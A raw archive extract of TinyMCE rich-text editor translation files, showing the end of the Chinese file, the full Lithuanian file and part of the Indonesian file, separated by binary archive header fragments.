"Repair": "\u4fee\u590d",
"Issue {0} of {1}": "\u5171\u8ba1{1}\u95ee\u9898{0}",
"Images must be marked as decorative or have an alternative text description": "\u56fe\u50cf\u5fc5\u987b\u6807\u8bb0\u4e3a\u88c5\u9970\u6027\u6216\u5177\u6709\u66ff\u4ee3\u6587\u672c\u63cf\u8ff0",
"Images must have an alternative text description. Decorative images are not allowed.": "\u56fe\u50cf\u5fc5\u987b\u5177\u6709\u66ff\u4ee3\u6587\u672c\u63cf\u8ff0\u3002\u4e0d\u5141\u8bb8\u4f7f\u7528\u88c5\u9970\u56fe\u50cf\u3002",
"Or provide alternative text:": "\u6216\u63d0\u4f9b\u5907\u9009\u6587\u672c\uff1a",
"Make image decorative:": "\u4f7f\u56fe\u50cf\u88c5\u9970\uff1a",
"ID attribute must be unique": "ID \u5c5e\u6027\u5fc5\u987b\u662f\u552f\u4e00\u7684",
"Make ID unique": "\u4f7f ID \u72ec\u4e00\u65e0\u4e8c",
"Keep this ID and remove all others": "\u4fdd\u7559\u6b64 ID \u5e76\u5220\u9664\u6240\u6709\u5176\u4ed6",
"Remove this ID": "\u5220\u9664\u6b64 ID",
"Remove all IDs": "\u6e05\u9664\u5168\u90e8IDs",
"Checklist": "\u6e05\u5355",
"Anchor": "\u951a\u70b9",
"Special character": "\u7279\u6b8a\u7b26\u53f7",
"Code sample": "\u4ee3\u7801\u793a\u4f8b",
"Color": "\u989c\u8272",
"Document properties": "\u6587\u6863\u5c5e\u6027",
"Image description": "\u56fe\u7247\u63cf\u8ff0",
"Image": "\u56fe\u7247",
"Insert link": "\u63d2\u5165\u94fe\u63a5",
"Target": "\u6253\u5f00\u65b9\u5f0f",
"Link": "\u94fe\u63a5",
"Poster": "\u5c01\u9762",
"Media": "\u5a92\u4f53",
"Print": "\u6253\u5370",
"Prev": "\u4e0a\u4e00\u4e2a",
"Find and replace": "\u67e5\u627e\u548c\u66ff\u6362",
"Whole words": "\u5168\u5b57\u5339\u914d",
"Insert template": "\u63d2\u5165\u6a21\u677f"
});PK
h�\	�2��D�Dprogram/js/tinymce/langs/lt.jsnu�[���tinymce.addI18n('lt',{
"Redo": "Gr\u0105\u017einti",
"Undo": "Atstatyti",
"Cut": "I\u0161kirpti",
"Copy": "Kopijuoti",
"Paste": "\u012ed\u0117ti",
"Select all": "Pa\u017eym\u0117ti visk\u0105",
"New document": "Naujas dokumentas",
"Ok": "Gerai",
"Cancel": "Atsisakyti",
"Visual aids": "Vaizdin\u0117s priemon\u0117s",
"Bold": "Pary\u0161kintas",
"Italic": "Kursyvinis",
"Underline": "Pabrauktas",
"Strikethrough": "Perbrauktas",
"Superscript": "Vir\u0161utinis indeksas",
"Subscript": "Apatinis indeksas",
"Clear formatting": "Naikinti formatavim\u0105",
"Align left": "Lygiuoti kair\u0117je",
"Align center": "Centruoti",
"Align right": "Lygiuoti de\u0161in\u0117je",
"Justify": "I\u0161d\u0117styti per vis\u0105 plot\u012f",
"Bullet list": "\u017denklinimo s\u0105ra\u0161as",
"Numbered list": "Skaitmeninis s\u0105ra\u0161as",
"Decrease indent": "Ma\u017einti \u012ftrauk\u0105",
"Increase indent": "Didinti \u012ftrauk\u0105",
"Close": "U\u017edaryti",
"Formats": "Formatai",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Nar\u0161ykl\u0117s nustatymai neleid\u017eia redaktoriui tiesiogiai pasiekti laikinosios atminties. Pra\u0161ome naudoti klaviat\u016bros klavi\u0161us Ctrl+X\/C\/V.",
"Headers": "Antra\u0161t\u0117s",
"Header 1": "Antra\u0161t\u0117 1",
"Header 2": "Antra\u0161t\u0117 2",
"Header 3": "Antra\u0161t\u0117 3",
"Header 4": "Antra\u0161t\u0117 4",
"Header 5": "Antra\u0161t\u0117 5",
"Header 6": "Antra\u0161t\u0117 6",
"Headings": "Antra\u0161t\u0117s",
"Heading 1": "Antra\u0161t\u0117 1",
"Heading 2": "Antra\u0161t\u0117 2",
"Heading 3": "Antra\u0161t\u0117 3",
"Heading 4": "Antra\u0161t\u0117 4",
"Heading 5": "Antra\u0161t\u0117 5",
"Heading 6": "Antra\u0161t\u0117 6",
"Preformatted": "Suformuotas i\u0161 anksto",
"Div": "Div",
"Pre": "Pre",
"Code": "Kodas",
"Paragraph": "Paragrafas",
"Blockquote": "Citata",
"Inline": "Inline",
"Blocks": "Blokai",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Dabar \u012fterpiama paprastojo teksto re\u017eimu. Kol \u0161i parinktis \u012fjungta, turinys bus \u012fterptas kaip paprastas tekstas.",
"Fonts": "\u0160riftai",
"Font Sizes": "\u0160rifto dyd\u017eiai",
"Class": "Klas\u0117",
"Browse for an image": "Ie\u0161koti paveiksl\u0117lio",
"OR": "ARBA",
"Drop an image here": "Tempkite paveiksl\u0117l\u012f \u010dia",
"Upload": "\u012ekelti",
"Block": "Blokas",
"Align": "Lygiavimas",
"Default": "Pagrindinis",
"Circle": "Apskritimas",
"Disc": "Diskas",
"Square": "Kvadratas",
"Lower Alpha": "Ma\u017eosios raid\u0117s",
"Lower Greek": "Ma\u017eosios graik\u0173",
"Lower Roman": "Ma\u017eosios rom\u0117n\u0173",
"Upper Alpha": "Did\u017eiosios raid\u0117s",
"Upper Roman": "Did\u017eiosios rom\u0117n\u0173",
"Anchor...": "Nuoroda...",
"Name": "Pavadinimas",
"Id": "ID",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "ID turi prasid\u0117ti raide, po kurios gali b\u016bti raid\u0117s, skai\u010diai, br\u016bk\u0161niai, ta\u0161kai, kabliata\u0161kiai ar apatiniai pabraukimai.",
"You have unsaved changes are you sure you want to navigate away?": "Turite nei\u0161saugot\u0173 pakeitim\u0173! Ar tikrai norite i\u0161eiti?",
"Restore last draft": "Atstatyti paskutin\u012f projekt\u0105",
"Special character...": "Specialieji simboliai...",
"Source code": "Pirminis \u0161altinis",
"Insert\/Edit code sample": "Prid\u0117ti \/ keisti kodo pavyzd\u012f",
"Language": "Kalba",
"Code sample...": "Kodo pavyzdys...",
"Color Picker": "Spalvos parinkimas",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "I\u0161 kair\u0117s \u012f de\u0161in\u0119",
"Right to left": "I\u0161 de\u0161in\u0117s \u012f kair\u0119",
"Emoticons...": "Jaustukai...",
"Metadata and Document Properties": "Meta duomenys ir dokumento ypatyb\u0117s",
"Title": "Pavadinimas",
"Keywords": "\u017dymos",
"Description": "Apra\u0161as",
"Robots": "Robotai",
"Author": "Autorius",
"Encoding": "Kodavimas",
"Fullscreen": "Visas ekranas",
"Action": "Veiksmas",
"Shortcut": "Nuoroda",
"Help": "Pagalba",
"Address": "Adresas",
"Focus to menubar": "Fokusuoti \u012f meniu",
"Focus to toolbar": "Fokusuoti \u012f \u012franki\u0173 juost\u0105",
"Focus to element path": "Fokusuoti \u012f elemento keli\u0105",
"Focus to contextual toolbar": "Fokusuoti \u012f kontekstin\u012f \u012franki\u0173 juost\u0105",
"Insert link (if link plugin activated)": "Prid\u0117ti nuorod\u0105 (jei link priedas aktyvuotas)",
"Save (if save plugin activated)": "I\u0161saugoti (jei save priedas aktyvuotas)",
"Find (if searchreplace plugin activated)": "Ie\u0161koti (jei searchreplace priedas aktyvuotas)",
"Plugins installed ({0}):": "\u012ediegti priedai ({0}):",
"Premium plugins:": "Mokami priedai:",
"Learn more...": "Su\u017einoti daugiau...",
"You are using {0}": "Naudojate {0}",
"Plugins": "Priedai",
"Handy Shortcuts": "Patogios nuorodos",
"Horizontal line": "Horizontali linija",
"Insert\/edit image": "\u012eterpti|Tvarkyti paveiksl\u0117l\u012f",
"Image description": "Paveiksl\u0117lio apra\u0161as",
"Source": "Pirmin\u0117 nuoroda",
"Dimensions": "Matmenys",
"Constrain proportions": "Laikytis proporcij\u0173",
"General": "Bendra",
"Advanced": "I\u0161pl\u0117stas",
"Style": "Stilius",
"Vertical space": "Vertikalus tarpas",
"Horizontal space": "Horizontalus tarpas",
"Border": "R\u0117melis",
"Insert image": "\u012eterpti paveiksl\u0117l\u012f",
"Image...": "Paveiksl\u0117lis...",
"Image list": "Paveiksl\u0117li\u0173 s\u0105ra\u0161as",
"Rotate counterclockwise": "Pasukti prie\u0161 laikrod\u017eio rodykl\u0119",
"Rotate clockwise": "Pasukti pagal laikrod\u017eio rodykl\u0119",
"Flip vertically": "Apversti vertikaliai",
"Flip horizontally": "Apversti horizontaliai",
"Edit image": "Redaguoti paveiksl\u0117l\u012f",
"Image options": "Paveiksl\u0117lio nustatymai",
"Zoom in": "Priartinti",
"Zoom out": "Atitolinti",
"Crop": "Atkarpyti",
"Resize": "Keisti dyd\u012f",
"Orientation": "Pasukimas",
"Brightness": "\u0160viesumas",
"Sharpen": "Ry\u0161kumas",
"Contrast": "Kontrastas",
"Color levels": "Spalv\u0173 lygiai",
"Gamma": "Gama",
"Invert": "Prie\u0161ingos spalvos",
"Apply": "Taikyti",
"Back": "Atgal",
"Insert date\/time": "\u012eterpti dat\u0105\/laik\u0105",
"Date\/time": "Data \/ laikas",
"Insert\/Edit Link": "Prid\u0117ti\/Keisti nuorod\u0105",
"Insert\/edit link": "\u012eterpti\/taisyti nuorod\u0105",
"Text to display": "Rodomas tekstas",
"Url": "Nuoroda",
"Open link in...": "Nuorod\u0105 atverti...",
"Current window": "Dabartiniame lange",
"None": "Nieko",
"New window": "Naujas langas",
"Remove link": "\u0160alinti nuorod\u0105",
"Anchors": "\u017dym\u0117",
"Link...": "Nuoroda...",
"Paste or type a link": "\u012eklijuokite arba \u012fra\u0161ykite nuorod\u0105",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Atrodo, kad \u012fvesta nuoroda yra elektroninio pa\u0161to adresas. Ar norite prie\u0161 j\u012f \u012fvesti reikalaujam\u0105 \u201emailto:\u201c?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Atrodo, kad \u012fved\u0117te nuotolin\u0119 nuorod\u0105. Ar norite prie\u0161 j\u0105 \u012fvesti reikalaujam\u0105 \u201ehttp:\/\/\u201c?",
"Link list": "Nuorod\u0173 s\u0105ra\u0161as",
"Insert video": "\u012eterpti video",
"Insert\/edit video": "\u012eterpti\/tvarkyti video",
"Insert\/edit media": "Prid\u0117ti \/ keisti medij\u0105",
"Alternative source": "Alternatyvus \u0161altinis",
"Alternative source URL": "Alternatyvus \u0161altinio URL adresas",
"Media poster (Image URL)": "medijos skelbiklis (paveiksl\u0117lio URL adresas)",
"Paste your embed code below:": "\u012eterpkite kod\u0105 \u017eemiau:",
"Embed": "\u012eterpti",
"Media...": "Medija...",
"Nonbreaking space": "Nepertraukiamos vietos",
"Page break": "Puslapio skirtukas",
"Paste as text": "\u012eklijuoti kaip tekst\u0105",
"Preview": "Per\u017ei\u016bra",
"Print...": "Spausdinti...",
"Save": "I\u0161saugoti",
"Find": "Ie\u0161koti",
"Replace with": "Kuo pakeisti",
"Replace": "Pakeisti",
"Replace all": "Pakeisti visk\u0105",
"Previous": "Ankstesnis",
"Next": "Sekantis",
"Find and replace...": "Ie\u0161koti ir pakeisti...",
"Could not find the specified string.": "Nepavyko rasti nurodytos eilut\u0117s.",
"Match case": "Atitinkamus",
"Find whole words only": "Ie\u0161koti tik vis\u0105 \u017eod\u012f",
"Spell check": "Klaid\u0173 tikrinimas",
"Ignore": "Ignoruoti",
"Ignore all": "Ignoruoti visk\u0105",
"Finish": "Baigti",
"Add to Dictionary": "Prid\u0117ti \u012f \u017dodyn\u0105",
"Insert table": "\u012eterpti lentel\u0119",
"Table properties": "Lentel\u0117s savyb\u0117s",
"Delete table": "\u0160alinti lentel\u0119",
"Cell": "Langeliai",
"Row": "Eilut\u0117s",
"Column": "Stulpelis",
"Cell properties": "Langelio savyb\u0117s",
"Merge cells": "Sujungti langelius",
"Split cell": "Skaidyti langelius",
"Insert row before": "\u012eterpti eilut\u0119 prie\u0161",
"Insert row after": "\u012eterpti eilut\u0119 po",
"Delete row": "Naikinti eilut\u0119",
"Row properties": "Eilut\u0117s savyb\u0117s",
"Cut row": "I\u0161kirpti eilut\u0119",
"Copy row": "Kopijuoti eilut\u0119",
"Paste row before": "\u012ed\u0117ti eilut\u0119 prie\u0161",
"Paste row after": "\u012ed\u0117ti eilut\u0119 po",
"Insert column before": "\u012eterpti stulpel\u012f prie\u0161",
"Insert column after": "\u012eterpti stulpel\u012f po",
"Delete column": "Naikinti stulpel\u012f",
"Cols": "Stulpeliai",
"Rows": "Eilut\u0117s",
"Width": "Plotis",
"Height": "Auk\u0161tis",
"Cell spacing": "Tarpas tarp langeli\u0173",
"Cell padding": "Tarpas nuo langelio iki teksto",
"Show caption": "Rodyti antra\u0161t\u0119",
"Left": "Kair\u0117",
"Center": "Centras",
"Right": "De\u0161in\u0117",
"Cell type": "Langelio tipas",
"Scope": "Strukt\u016bra",
"Alignment": "Lygiavimas",
"H Align": "H Lygiavimas",
"V Align": "V Lygiavimas",
"Top": "Vir\u0161uje",
"Middle": "Viduryje",
"Bottom": "Apa\u010dioje",
"Header cell": "Antra\u0161t\u0117s langelis",
"Row group": "Eilu\u010di\u0173 grup\u0117",
"Column group": "Stulpeli\u0173 grup\u0117",
"Row type": "Eilu\u010di\u0173 tipas",
"Header": "Antra\u0161t\u0117",
"Body": "Turinys",
"Footer": "Apa\u010dia",
"Border color": "R\u0117melio spalva",
"Insert template...": "Prid\u0117ti \u0161ablon\u0105...",
"Templates": "\u0160ablonai",
"Template": "\u0160ablonas",
"Text color": "Teksto spalva",
"Background color": "Fono spalva",
"Custom...": "Pasirinktinas...",
"Custom color": "Pasirinktina spalva",
"No color": "Jokios spalvos",
"Remove color": "Pa\u0161alinti spalv\u0105",
"Table of Contents": "Turinys",
"Show blocks": "Rodyti blokus",
"Show invisible characters": "Rodyti nematomus simbolius",
"Word count": "\u017dod\u017ei\u0173 kiekis",
"Count": "Skai\u010dius",
"Document": "Dokumentas",
"Selection": "Pasirinkimas",
"Words": "\u017dod\u017ei\u0173",
"Words: {0}": "\u017dod\u017eiai: {0}",
"{0} words": "{0} \u017eod\u017eiai",
"File": "Failas",
"Edit": "Redaguoti",
"Insert": "\u012eterpti",
"View": "Per\u017ei\u016bra",
"Format": "Formatas",
"Table": "Lentel\u0117",
"Tools": "\u012erankiai",
"Powered by {0}": "Sukurta {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Suformatuoto teksto laukas. D\u0117l meniu spauskite ALT-F9. U\u017eduo\u010di\u0173 juostos \u012fjungimui spauskite ALT-F10. Pagalbai - spauskite ALT-0.",
"Image title": "Paveiksl\u0117lio pavadinimas",
"Border width": "Kra\u0161tin\u0117s plotis",
"Border style": "Kra\u0161tin\u0117s stilius",
"Error": "Klaida",
"Warn": "\u012esp\u0117ti",
"Valid": "Tinkamas",
"To open the popup, press Shift+Enter": "Spustel\u0117j\u0119 Shift+Enter atversite i\u0161kylant\u012f lang\u0105",
"Rich Text Area. Press ALT-0 for help.": "Rai\u0161kiojo teksto vieta. Spustel\u0117j\u0119 Alt-0 gausite pagalbos.",
"System Font": "Sisteminiai \u0161riftai",
"Failed to upload image: {0}": "Paveiksl\u0117lio \u012fkelti nepavyko: {0}",
"Failed to load plugin: {0} from url {1}": "Priedo \u012fkelti nepavyko: {0} i\u0161 adreso {1}",
"Failed to load plugin url: {0}": "Priedo adreso \u012fkelti nepavyko: {0}",
"Failed to initialize plugin: {0}": "Priedo inicijuoti nepavyko: {0}",
"example": "pavyzdys",
"Search": "Ie\u0161koti",
"All": "Visi",
"Currency": "Valiuta",
"Text": "Tekstas",
"Quotations": "Citata",
"Mathematical": "Matematinis",
"Extended Latin": "Lotyn\u0173 i\u0161pl\u0117stin\u0117",
"Symbols": "Simboliai",
"Arrows": "Rodykl\u0117s",
"User Defined": "Vartotojo apibr\u0117\u017eta",
"dollar sign": "dolerio \u017eenklas",
"currency sign": "valiutos \u017eenklas",
"euro-currency sign": "euro \u017eenklas",
"colon sign": "dvita\u0161kio \u017eenklas",
"cruzeiro sign": "kruzeiro \u017eenklas",
"french franc sign": "Pranc\u016bz\u0173 franko \u017eenklas",
"lira sign": "lyros \u017eenklas",
"mill sign": "milo simbolis",
"naira sign": "nairos simbolis",
"peseta sign": "peseto \u017eenklas",
"rupee sign": "rupijos \u017eenklas",
"won sign": "vono \u017eenklas",
"new sheqel sign": "naujojo \u0161ekelio \u017eenklas",
"dong sign": "dongo \u017eenklas",
"kip sign": "kipo \u017eenklas",
"tugrik sign": "tugriko \u017eenklas",
"drachma sign": "drachmos \u017eenklas",
"german penny symbol": "Vokietijos fenigo \u017eenklas",
"peso sign": "peso \u017eenklas",
"guarani sign": "gvaranio \u017eenklas",
"austral sign": "australo \u017eenklas",
"hryvnia sign": "grivinos \u017eenklas",
"cedi sign": "sed\u017eio \u017eenklas",
"livre tournois sign": "toro svaro \u017eenklas",
"spesmilo sign": "spesmilo \u017eenklas",
"tenge sign": "teng\u0117s \u017eenklas",
"indian rupee sign": "Indijos rupijos \u017eenklas",
"turkish lira sign": "Turkijos lyros \u017eenklas",
"nordic mark sign": "\u0161iaur\u0117s \u0161ali\u0173 mark\u0117s \u017eenklas",
"manat sign": "manato \u017eenklas",
"ruble sign": "rublio \u017eenklas",
"yen character": "jienos simbolis",
"yuan character": "juanio simbolis",
"yuan character, in hong kong and taiwan": "juanio \u017eenklas, naudojamas Hongkonge ir Taivane",
"yen\/yuan character variant one": "jienos\/juanio vieningas \u017eenklas",
"Loading emoticons...": "\u012ekeliami jaustukai...",
"Could not load emoticons": "Nepavyko \u012fkelti jaustuk\u0173",
"People": "\u017dmon\u0117s",
"Animals and Nature": "Gyv\u016bnai ir gamta",
"Food and Drink": "Maistas ir g\u0117rimai",
"Activity": "Veikla",
"Travel and Places": "Kelion\u0117s ir vietos",
"Objects": "Objektai",
"Flags": "V\u0117liavos",
"Characters": "Simboli\u0173",
"Characters (no spaces)": "Simboli\u0173 (be tarp\u0173)",
"{0} characters": "{0} simboliai",
"Error: Form submit field collision.": "Klaida: formos lauk\u0173 nesuderinamumas.",
"Error: No form element found.": "Klaida: formos element\u0173 nerasta.",
"Update": "Naujinti",
"Color swatch": "Spalv\u0173 pavyzd\u017eiai",
"Turquoise": "\u017dalsvai m\u0117lyna",
"Green": "\u017dalia",
"Blue": "M\u0117lyna",
"Purple": "Ro\u017ein\u0117",
"Navy Blue": "Tamsiai m\u0117lyna",
"Dark Turquoise": "Tamsiai \u017ealsvai m\u0117lyna",
"Dark Green": "Tamsiai \u017ealia",
"Medium Blue": "Vidutini\u0161kai m\u0117lyna",
"Medium Purple": "Vidutini\u0161kai violetin\u0117",
"Midnight Blue": "Vidurnak\u010dio m\u0117lyna",
"Yellow": "Geltona",
"Orange": "Oran\u017ein\u0117",
"Red": "Raudona",
"Light Gray": "\u0160viesiai pilka",
"Gray": "Pilka",
"Dark Yellow": "Tamsiai geltona",
"Dark Orange": "Tamsiai oran\u017ein\u0117",
"Dark Red": "Tamsiai raudona",
"Medium Gray": "Vidutini\u0161kai pilka",
"Dark Gray": "Tamsiai pilka",
"Light Green": "\u0160viesiai \u017ealia",
"Light Yellow": "\u0160viesiai geltona",
"Light Red": "\u0160viesiai raudona",
"Light Purple": "\u0160viesiai violetin\u0117",
"Light Blue": "\u0160viesiai m\u0117lyna",
"Dark Purple": "Tamsiai violetin\u0117",
"Dark Blue": "Tamsiai m\u0117lyna",
"Black": "Juoda",
"White": "Balta",
"Switch to or from fullscreen mode": "Perjungti i\u0161\/\u012f viso ekrano rodym\u0105",
"Open help dialog": "Atverti pagalbos lang\u0105",
"history": "praeitis",
"styles": "stiliai",
"formatting": "formatavimas",
"alignment": "lygiavimas",
"indentation": "\u012ftrauka",
"permanent pen": "nuolatinis ra\u0161iklis",
"comments": "komentarai",
"Format Painter": "Formato kopijavimo priemon\u0117",
"Insert\/edit iframe": "Prid\u0117ti \/ keisti iframe",
"Capitalization": "Did\u017eiosios raid\u0117s",
"lowercase": "ma\u017eosios raid\u0117s",
"UPPERCASE": "VISOS DID\u017dIOSIOS",
"Title Case": "Pirmos Did\u017eiosios",
"Permanent Pen Properties": "Nuolatinio ra\u0161iklio nustatymai",
"Permanent pen properties...": "Nuolatinio ra\u0161iklio nustatymai...",
"Font": "\u0160riftas",
"Size": "Dydis",
"More...": "Daugiau...",
"Spellcheck Language": "Ra\u0161ybos tikrinimo kalba",
"Select...": "Pasirinkti...",
"Preferences": "Nustatymai",
"Yes": "Taip",
"No": "Ne",
"Keyboard Navigation": "Valdymas klaviat\u016bra",
"Version": "Versija",
"Anchor": "\u017dym\u0117",
"Special character": "Specialus simbolis",
"Code sample": "Kodo pavyzdys",
"Color": "Spalva",
"Emoticons": "Jaustukai",
"Document properties": "Dokumento savyb\u0117s",
"Image": "Paveiksl\u0117lis",
"Insert link": "\u012eterpti nuorod\u0105",
"Target": "Tikslin\u0117 nuoroda",
"Link": "Nuoroda",
"Poster": "Plakatas",
"Media": "Medija",
"Print": "Spausdinti",
"Prev": "Ankstesnis",
"Find and replace": "Surasti ir pakeisti",
"Whole words": "Visus \u017eod\u017eius",
"Spellcheck": "Ra\u0161ybos tikrinimas",
"Caption": "Antra\u0161t\u0117",
"Insert template": "\u012eterpti \u0161ablon\u0105"
});PK
h�\{�Dq�7�7program/js/tinymce/langs/id.jsnu�[���tinymce.addI18n('id',{
"Redo": "Ulang",
"Undo": "Batalkan",
"Cut": "Potong",
"Copy": "Salin",
"Paste": "Rekat",
"Select all": "Pilih semua",
"New document": "Dokumen baru",
"Ok": "Ok",
"Cancel": "Batal",
"Visual aids": "Alat bantu visual",
"Bold": "Tebal",
"Italic": "Miring",
"Underline": "Garis bawah",
"Strikethrough": "Coret",
"Superscript": "Superskrip",
"Subscript": "Subskrip",
"Clear formatting": "Kosongkan format",
"Align left": "Rata kiri",
"Align center": "Rata tengah",
"Align right": "Rata kanan",
"Justify": "Rata penuh",
"Bullet list": "Daftar bersimbol",
"Numbered list": "Daftar bernomor",
"Decrease indent": "Kurangi inden",
"Increase indent": "Tambah inden",
"Close": "Tutup",
"Formats": "Format",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Browser anda tidak mendukung akses langsung ke papan klip. Silakan gunakan pintasan Ctrl+X\/C\/V dari keyboard.",
"Headers": "Judul",
"Header 1": "Judul 1",
"Header 2": "Judul 2",
"Header 3": "Judul 3",
"Header 4": "Judul 4",
"Header 5": "Judul 5",
"Header 6": "Judul 6",
"Headings": "Kepala",
"Heading 1": "Kepala 1",
"Heading 2": "Kepala 2",
"Heading 3": "Kepala 3",
"Heading 4": "Kepala 4",
"Heading 5": "Kepala 5",
"Heading 6": "Kepala 6",
"Preformatted": "Praformat",
"Div": "Div",
"Pre": "Pre",
"Code": "Kode",
"Paragraph": "Paragraf",
"Blockquote": "Kutipan",
"Inline": "Baris",
"Blocks": "Blok",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Penempelan sekarang dalam modus teks biasa. Konten sekarang akan disisipkan sebagai teks biasa sampai Anda memadamkan pilihan ini.",
"Fonts": "Huruf",
"Font Sizes": "Ukuran Huruf",
"Class": "Kelas",
"Browse for an image": "Jelajahi gambar",
"OR": "ATAU",
"Drop an image here": "Simpan gambar di sini",
"Upload": "Unggah",
"Block": "Blok",
"Align": "Sejajarkan",
"Default": "Bawaan",
"Circle": "Lingkaran",
"Disc": "Cakram",
"Square": "Kotak",
"Lower Alpha": "Huruf Kecil",
"Lower Greek": "Huruf Kecil Yunani",
"Lower Roman": "Huruf Kecil Romawi",
"Upper Alpha": "Huruf Besar",
"Upper Roman": "Huruf Besar Romawi",
"Anchor...": "Jangkar..",
"Name": "Nama",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id harus dimulai dengan huruf, dan hanya diikuti oleh huruf, angka, koma, titik, titik koma atau garis bawah.",
"You have unsaved changes are you sure you want to navigate away?": "Anda memiliki perubahan yang belum disimpan, yakin ingin beralih ?",
"Restore last draft": "Muat kembali draft sebelumnya",
"Special character...": "Karakter khusus...",
"Source code": "Kode sumber",
"Insert\/Edit code sample": "Tambah\/Edit contoh kode",
"Language": "Bahasa",
"Code sample...": "Sampel kode...",
"Color Picker": "Pemilih warna",
"R": "M",
"G": "H",
"B": "B",
"Left to right": "Kiri ke kanan",
"Right to left": "Kanan ke kiri",
"Emoticons...": "Emotikon...",
"Metadata and Document Properties": "Metadata dan Properti Dokumen",
"Title": "Judul",
"Keywords": "Kata kunci",
"Description": "Deskripsi",
"Robots": "Robot",
"Author": "Penulis",
"Encoding": "Enkoding",
"Fullscreen": "Layar penuh",
"Action": "Tindakan",
"Shortcut": "Pintasan",
"Help": "Bantuan",
"Address": "Alamat",
"Focus to menubar": "Fokus ke menubar",
"Focus to toolbar": "Fokus ke toolbar",
"Focus to element path": "Fokus ke jalur elemen",
"Focus to contextual toolbar": "Fokus ke toolbar kontekstual",
"Insert link (if link plugin activated)": "Masukan link (jika plugin diaktifkan)",
"Save (if save plugin activated)": "Simpan (jika plugin simpan diaktifkan)",
"Find (if searchreplace plugin activated)": "Cari (jika plugin searchplace diaktifkan)",
"Plugins installed ({0}):": "Plugin terpasang ({0})",
"Premium plugins:": "Plugin premium:",
"Learn more...": "Pelajari selengkapnya...",
"You are using {0}": "Anda menggunakan {0}",
"Plugins": "Plugin",
"Handy Shortcuts": "Pintasan Praktis",
"Horizontal line": "Garis horisontal",
"Insert\/edit image": "Sisip\/sunting gambar",
"Image description": "Deskripsi gambar",
"Source": "Sumber",
"Dimensions": "Dimensi",
"Constrain proportions": "Samakan proporsi",
"General": "Umum",
"Advanced": "Lanjutan",
"Style": "Gaya",
"Vertical space": "Spasi vertikal",
"Horizontal space": "Spasi horisontal",
"Border": "Batas",
"Insert image": "Sisipkan gambar",
"Image...": "Gambar...",
"Image list": "Daftar gambar",
"Rotate counterclockwise": "Putar berlawananjarumjam",
"Rotate clockwise": "Putar searahjarumjam",
"Flip vertically": "Balik vertikal",
"Flip horizontally": "Balik horisontal",
"Edit image": "Sunting gambar",
"Image options": "Opsi gambar",
"Zoom in": "Perbesar",
"Zoom out": "Perkecil",
"Crop": "Krop",
"Resize": "Ubah ukuran",
"Orientation": "Orientasi",
"Brightness": "Kecerahan",
"Sharpen": "Ketajaman",
"Contrast": "Kontras",
"Color levels": "Tingakt warna",
"Gamma": "Gamma",
"Invert": "Kebalikan",
"Apply": "Terapkan",
"Back": "Kembali",
"Insert date\/time": "Sisipkan tanggal\/waktu",
"Date\/time": "Tanggal\/waktu",
"Insert\/Edit Link": "Masukkan\/Edit Tautan",
"Insert\/edit link": "Sisip\/sunting tautan",
"Text to display": "Teks yang ditampilkan",
"Url": "Tautan",
"Open link in...": "Buka tautan dalam...",
"Current window": "Jendela saat ini",
"None": "Tidak ada",
"New window": "Jendela baru",
"Remove link": "Buang tautan",
"Anchors": "Jangkar",
"Link...": "Tautan...",
"Paste or type a link": "Tempel atau ketik sebuah tautan",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Tautan yang anda masukkan sepertinya adalah alamat email. Apakah Anda ingin menambahkan prefiks mailto: yang dibutuhkan?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Tautan yang anda masukkan sepertinya adalah tautan eksternal. Apakah Anda ingin menambahkan prefiks http:\/\/ yang dibutuhkan?",
"Link list": "Daftar tautan",
"Insert video": "Sisipkan video",
"Insert\/edit video": "Sisip\/sunting video",
"Insert\/edit media": "Sisip\/sunting media",
"Alternative source": "Sumber alternatif",
"Alternative source URL": "URL Sumber alternatif",
"Media poster (Image URL)": "Poster media (URL gambar)",
"Paste your embed code below:": "Tempel kode yang diembed dibawah ini:",
"Embed": "Embed",
"Media...": "Media...",
"Nonbreaking space": "Spasi",
"Page break": "Baris baru",
"Paste as text": "Tempel sebagai teks biasa",
"Preview": "Pratinjau",
"Print...": "Cetak...",
"Save": "Simpan",
"Find": "Cari",
"Replace with": "Ganti dengan",
"Replace": "Ganti",
"Replace all": "Ganti semua",
"Previous": "Sebelumnya",
"Next": "Berikutnya",
"Find and replace...": "Cari dan ganti...",
"Could not find the specified string.": "Tidak dapat menemukan string yang dimaksud.",
"Match case": "Samakan besar kecil huruf",
"Find whole words only": "Cari hanya kata utuh",
"Spell check": "Periksa ejaan",
"Ignore": "Abaikan",
"Ignore all": "Abaikan semua",
"Finish": "Selesai",
"Add to Dictionary": "Tambahkan ke kamus",
"Insert table": "Sisipkan tabel",
"Table properties": "Properti tabel",
"Delete table": "Hapus tabel",
"Cell": "Sel",
"Row": "Baris",
"Column": "Kolom",
"Cell properties": "Properti sel",
"Merge cells": "Gabung sel",
"Split cell": "Bagi sel",
"Insert row before": "Sisipkan baris sebelum",
"Insert row after": "Sisipkan baris setelah",
"Delete row": "Hapus baris",
"Row properties": "Properti baris",
"Cut row": "Penggal baris",
"Copy row": "Salin baris",
"Paste row before": "Tempel baris sebelum",
"Paste row after": "Tempel baris setelah",
"Insert column before": "Sisipkan kolom sebelum",
"Insert column after": "Sisipkan kolom setelah",
"Delete column": "Hapus kolom",
"Cols": "Kolom",
"Rows": "Baris",
"Width": "Lebar",
"Height": "Tinggi",
"Cell spacing": "Spasi sel ",
"Cell padding": "Lapisan sel",
"Show caption": "Perlihatkan keterangan",
"Left": "Kiri",
"Center": "Tengah",
"Right": "Kanan",
"Cell type": "Tipe sel",
"Scope": "Skup",
"Alignment": "Penjajaran",
"H Align": "Rata Samping",
"V Align": "Rata Atas",
"Top": "Atas",
"Middle": "Tengah",
"Bottom": "Bawah",
